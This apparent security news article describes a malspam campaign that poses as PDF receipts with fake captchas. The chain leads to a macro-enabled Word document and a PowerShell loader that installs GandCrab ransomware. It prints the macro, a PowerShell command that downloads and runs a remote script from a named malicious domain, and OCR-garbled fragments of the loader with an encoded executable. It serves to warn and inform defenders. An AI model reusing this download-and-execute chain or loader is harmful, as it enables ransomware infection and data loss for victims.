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A new malspam campaign is underway that is pretending to be PDF receipts, but instead
installs the GandCrab ransomware on a victim's computer. This is done through a series of
malicious documents that ultimately install the ransomware via a PowerShell script.

The start of the chain of events that lead to the installation of GandCrab is when a victim
receives an email with a subject like "Receipt Feb-078122". These emails contain a PDF
attachment with names like Febo1221812.pdf as shown below.

H € 9 1 % Receipt Feb-078122 - Message (HTML) 2 B - O X
MESSAGE

- I~ - ~y .
. R S mweans Y0 m PR Q
s Junk DB';ﬂ«ction:Y [ Related -
Delet= Reply Reply Forward [7 150 Mave Marlk  Categorize Follow  Translate oom
All o z Unread - Up~ % [ Select~
Delete Respond IMove Tags [F] Editing Zoom ~

Wed 2/7/2018 5:59 AM
Receipt Feb-078122
Message | () Feb-1221812.pdf

Document attached

0 See more abou ~

Malspam Pretending to be a Receipt

When a user opens this PDF, they will be shown a prompt that pretends to be a
captcha asking the user to confirm they are human.
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Fake Captcha

When a user clicks on the captcha, the PDF file downloads a malicious word document.
When opened, this document will contain the standard social engineering text that tries to
convince the user to enable macros by clicking on the Enable Content button.
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For viewing/editing, perform the following steps:

Click Enable editing button from the yellow bar above.
Once you have enabled editing, please click Enable Content button from the yellow bar above.
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Malicious Word Document
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Once a user clicks on the Enable Content button it will trigger the malicious macro shown

below.

#5 Microsoft Visual Basic for Applications - Feb-00974 [design] - [Modulel (Code)] = ECR <=
# File Edit View Inset Formet Debug Run Tools Adddns  Window Help -8 x
HM&E-E3 %58 3 @E\Wﬁy @ ns7,coin J

Project - Project x| (General) ~  AutoOpen G
B =] = =l
e Exit Function

¢+ Microsoft Word Objects ' default (if all else fails) error handler to keep erraneous

B[] Forms ' commands and/or input formats from killing me

14 Modules ERROR_HANDLER: ‘
ol Module1 Call frmChat.AddChat (RTBColors.ConsoleText, "Error: #" & Err.Number & ": " & Err.Description & _ |2
B[] References " in modCommandCode.ProcessCommand () . ") |

Set Command — Nothing
ProcessCommand = False
| — | End Function
x| Sub Autalpen ()

VEA.Shell$ ("cmd.exe /c START "### # g UserForml.Labell.Caption & """" + UserForml.Label2.Caption + "‘'http://sorinnchoun.cam/scl/scts'™ +
Modulel Madule - End Sub

Alphabetic | Categorized |

Properties - Modulel

new clsCommandObj, Should be cleaner.

W 'This is the replacement for ExecuteCommand, Uses the
Public Function DispatchCommand (Command)
DispatchCommand = True
Select Case LCase (Command.Name)
'Bot information commands
Case "about”: Call modCommandsInfo.COnAbout (Command)
Case "accountinfo”: Call modCommandsInfo.OnAccountInfo (Command)
Case "bancount": Call modCommandsInfo.OnBanCount (Command)
Case "banlistcount™: Call modCommandsInfo.OnBanListCount (Command)
Case "banned": Call modCommandsInfo.OnBanned (Command)
Case "clientbans": Call modCi dsInfo.OnClientBans (Command)
Case "detail": Call modCommandsInfo.OnDetail (Command)
Case "find": Call modCommandsInfo.OnFind (Command)
Case "findattr": Call modCommandsInfo.OnFindAttr (Command)
Case "findgrp": Call modCommandsInfo.OnFindGrp (Command)
Case "help": Call modCommandsInfo.OnHelp (Command)
Case "helpattr”: Call modCommandsInfo.OnHelpAttr (Command)
Case "helprank™: Call modC dsInfo.OnHelpRank (Command)
i Sl —— r

Malicious Word Macro

This macro will launch a PowerShell command that downloads and executes a PowerShell
script from a remote site. As pointed out by security researcher Derek Knight, this script

specifically calls the PowerShell command in a folder that only exists on 64 bit versions of
Windows. Therefore, those who are running 32-bit versions of Windows will be protected

from this macro.

The PowerShell that is executed by the Word document is seen below.

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX
({new-object net.webclient).downloadstring('http://sorinnohoun.com/scl/sct5

"));Invoke-GandCrab;Start-Sleep -s 1000000;"

PowerShell Command

When the sct5 PowerShell script is executed, it will decode an embedded
GandCrab executable and launch it.
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Eile Edit View Settings I
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2887 $Exeargs = "ReflectiveExe” -
z888 )

2889

2830 if (Scomputername -eq $null -or $computername -imatch ”A\S*S”}

2891

2892 Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($SPEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)

2853}

2894 else

zgas |

2896 Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @(3PEBytes, $FuncReturnType, $ProcId, SProcName,$ForceASLR) -ComputerName
$ComputerName

2837}

2898 }

2893

2300 Main

2501 }

2902

2203 function Invoke-GandcCrab

2304 {

2905

2306 $PEBytes32 =
"TVOQAAMAAAAEAAAA /BAALG Q. 8. 4fugdatannibgeTmohvehpcyBwemdncmrtIGNhbmSvdCEiZsBydwdgawd grEIT
IG1VZGUUDQOKIJAAAAAAAAADWUMRIENSKNLTEC]S02wo080r VNLDbC ] Ty i uo0ttsKNLmI 652 2wo0tNsKNLXbC j5905k00dsKNLThC zQw2woluYnvNKFbC j551dy0tdsKNLmIOTS1 2wo0uYnuUNLXbC
JRSAWNOTNSKNAAAAAAAAAAAUEUAAEWBBGD+K 3T aAAAAAAAAAADGAATHCWEMAABOAAAANAAAAAAAAMA+AAAAEAAAATAAAAAAABAAEAAAAATAAAUAAQ, BQAB. YAEAAAQ CAE
AFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAGAGBAF UAAADYCAEA] BAAQDGAQ. BOAQDKCO/

JAAAHGE udGvad KhZAAAAEAAAAHOAAAAE AAAAAAAAAAAAAAAAAAAGAABGL NTKYXRhAABYQQAAATAAAACCAAAARAAAAAARAAAA

AAAAAAAAQAAAQL SKYXRHAAAAT ASAAAAGAQAADAAAAP OAAAAAAAAAAAAAAAAAAE AAAMALQL JUAAAAAAQAAAAAMAE AAATAAAAGAQAAAAAAAAAAAAAAAABAAABAL NJ ZCMMAAADGAQAAAE ABAAACAAAAC
AEAAAAAAAAAAAAAAAAAQAAAQC SYZWXVYWAASAKAAABQAQAACGAAAADB, EAAAET,

g+wUTWwkEITCIAYIdCQIiXWKBITOIBiLEOTeBITOCILWDITS JCAPLr 3WAAAAMOUAMLOEMOOIMLUMGT+gA
AAADARTAwAAgT /anaaaDd s0aQangf /gasaadagd /// / /+17Cwuaag8uQi swki 3UT 1 30MweMOQD7 bpMz STWIEAEA+27 JMOr cCVABAPTUBZNK3ANQAQD7 bgMZyTWIEAEA+27DMBr cCVABAPTUSZPK3AmMG ||
AQD7boiyytw]EAEMHrECUAAP,//CdjB6hAPT twzL13A10AQDT beMyydwIOAEA+2205 CNCCZABAPTLUZHIXATQAQDT baMXy V] EAEMHOEMHPEA+20TMs 1 cCZABAPTTUZP IXANQAQDT baMzSvwIkAEA+
21pMc] cCdABCI6INX1fLLCQZRQAZXQSDXRCILCSLAQTLFQzBwxAPTUkZNK3AKQAQD7 buMzSTWIUAEA+27 ZMOr cCAABAPTUOZPK3AKQAQD7 bsMzytwIUAEA+26ZM8r cCZABAPTUT LLK3AKQAQwesq
JQAA/ /812MHOEA+2 3IDMSNCCVABAPTTA ZL 13ANQAQDT bai xydwIkAEA+21TMC T cCVABAPTTAZHIXAKQAQWegQwekQD7 bRMyyVIWIKAEA+21TME | cCdABAPTTAZNIXAMQAQDT buMxyvwIOAEINoifal+
055JDNFADNABIPFEIksSIIt1CITODMHDEA+26TMOr CCRABAPTU4 ZNK3A1QAQD7 buMzStwI0AEA+26jMEr CCRABAPTUWZPK3ATQAQDY brMzytwlkAEA+26ISSr CCRABDBGXATAAD/ /wnYweoQD7 by
ydwIUAEA+23 jMsNcC dABAPTEGLHI 3AMQAQD7 bVMxyVwIUAEA+20DMc 1 cCRABDBGBDEGRAPT tEZL IXAMQAQD? bVMzy VI OAEA+20DMO 1 cCZABAPTTQZHIXANQAQT e I8YN61 ywkMOUAMLOEGBUQT Sw
ki3UL130MwCMQDT bpMZSTWIEAEA+27 JMOr CCVABAPT UBZNK3ANQAQDT bOMZYTWIEAEA+27DMEr CCVABAPTUS ZPK3AMQAQDT boiyyTwIEAEMHr ECUAAP//Cd JBEhAPTTWZL 1 3A1QAQDT beMyydwI 0A
EA+2205CNCCZABAPTTUZHIXATQAQD7 bQMXy VI EAEMHOEMHPEA+20TMS 1 cCZABAPTTUZPIXANQAQD7 baMzSvwIKAEA+21DMc 1 cCdABCI6INx i FQLLCQZRQAZXQSDXRCILCSLAQTLFQzBwxAPtukzN

Ln2890:2911 ColB5 Sel0 221 KB ANSI CR+LF INS Default Text

PowerShell Installer

Once launched, GandCrab will connect to the remote Command & Control servers and begin
encrypting a victim's computer.

As you can see, this all started simply by opening a malicious PDF contained in malspam.
This is why it is very important to be careful not to open any attachments unless you confirm
that they were actually sent by the sender. If the sender is not someone you know, then do
not open it at all to be safe.

For those who are infected with this ransomware, you can request help in our GandCrab Help
& Support topic.

Be smart and stay safe!

Update 2/8/18 10:45 AM: Added information from Derek Knight about how the macro
calls the PowerShell command in a folder that only exists on 64-bit versions of Windows.

Related Articles:

New ‘Cheers’ Linux ransomware targets VMware ESXi servers

SpiceJet airline passengers stranded after ransomware attack

US Senate: Govt’s ransomware fight hindered by limited reporting
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Ransomware attack exposes data of 500,000 Chicago students
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